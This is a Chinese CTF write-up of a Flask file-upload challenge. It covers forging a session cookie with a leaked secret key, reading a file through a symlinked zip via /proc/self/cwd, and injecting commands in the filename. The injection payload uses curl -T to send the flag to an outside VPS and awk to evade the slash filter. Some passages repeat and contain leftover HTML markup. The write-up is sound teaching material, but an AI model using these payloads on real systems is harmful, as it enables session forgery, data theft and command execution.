尝试登录发现可以登录上,点击上传发现‘Permission denied!’
可能要cookie伪造,发现cooike中是jwt加密的,使用解密脚本进行解密得到:
{'id': b'100', 'is_login': True, 'password': b'default', 'username': b'default'}
根据经验应该是ID为1的时候可以上传,但是没有秘钥。
测试了一会儿发现访问不存在的页面会出key:U0VDUkVUX0tFWTprZXlxcXF3d3dlZWUhQCMkJV4mKg==
使用flask_session_cookie伪造。刷新就出现了上传文件页面
发现给了源码:
@app.route('/upload',methods=['GET','POST'])
def upload():
if session['id'] != b'1':
return render_template_string(temp)
if request.method=='POST':
m = hashlib.md5()
name = session['password']
name = name+'qweqweqwe'
name = name.encode(encoding='utf-8')
m.update(name)
md5_one= m.hexdigest()
n = hashlib.md5()
ip = request.remote_addr
ip = ip.encode(encoding='utf-8')
n.update(ip)
md5_ip = n.hexdigest()
f=request.files['file']
basepath=os.path.dirname(os.path.realpath(__file__))
path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
path_base = basepath+'/upload/'+md5_ip+'/'
filename = f.filename
pathname = path+filename
if "zip" != filename.split('.')[-1]:
return 'zip only allowed'
if not os.path.exists(path_base):
try:
os.makedirs(path_base)
except Exception as e:
return 'error'
if not os.path.exists(path):
try:
os.makedirs(path)
except Exception as e:
return 'error'
if not os.path.exists(pathname):
try:
f.save(pathname)
except Exception as e:
return 'error'
try:
cmd = "unzip -n -d "+path+" "+ pathname
if cmd.find('|') != -1 or cmd.find(';') != -1:
waf()
return 'error'
os.system(cmd)
except Exception as e:
return 'error'
unzip_file = zipfile.ZipFile(pathname,'r')
unzip_filename = unzip_file.namelist()[0]
if session['is_login'] != True:
return 'not login'
try:
if unzip_filename.find('/') != -1:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
image = open(path+unzip_filename, "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
except Exception as e:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
return render_template('upload.html')
@app.route('/showflag')
def showflag():
if True == False:
image = open(os.path.join('./flag/flag.jpg'), "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
else:
return "can't give you"
审计源码后发现,只允许上传zip文件,并且不允许有/
然后就不太会了,看了一眼WP。发现了两种解法:
第一种:使用软链接完成文件读取
CVE-2018-12015: Archive::Tar: directory traversal
上传一个软链接压缩包,完成
这里又有两种方法
0x00
在
CVE-2018-12015: Archive::Tar: directory traversal
上传一个软链接压缩包,完成
flag
读取。因为缺少flag
的绝对路径,只有相对于flask
工作目录的相对路径./flag/flag.jpg
,所以要先获取flask
的工作目录。这里又有两种方法
0x00
在
linux
中,/proc/self/cwd/
会指向进程的当前目录,那么在不知道flask
工作目录时,我们可以用/proc/self/cwd/flag/flag.jpg
来访问flag.jpg
,exp
如下:
ln <span class="token operator">-</span>s <span class="token operator">/</span>proc<span class="token operator">/</span>self<span class="token operator">/</span>cwd<span class="token operator">/</span>flag<span class="token operator">/</span>flag<span class="token punctuation">.</span>jpg ha1c9on
zip <span class="token operator">-</span>ry ha1c9on<span class="token punctuation">.</span>zip ha1c9on
上传就有回显了
第二种:命令注入
在文件名处进行命令注入。类似
在文件名处进行命令注入。类似
$(curl vps -T <code>pwd
).zip这种。因为不允许/ 所以不能直接用cat命令读取
liunx命令ascii码可以和字符转换
<span class="token function">$</span><span class="token punctuation">(</span>sky<span class="token operator">=</span><span class="token template-string"><span class="token template-punctuation string"><code></span><span class="token string">awk 'BEGIN{printf "%c\n",47}'</span><span class="token template-punctuation string">
&&curl vps_ip:23333 -T</span><span class="token string">cat .</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>sky<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">flag</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>sky<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">flag.jpg</span><span class="token template-punctuation string">
)
获得flag
参考:https://www.jianshu.com/p/71bc9bdd9882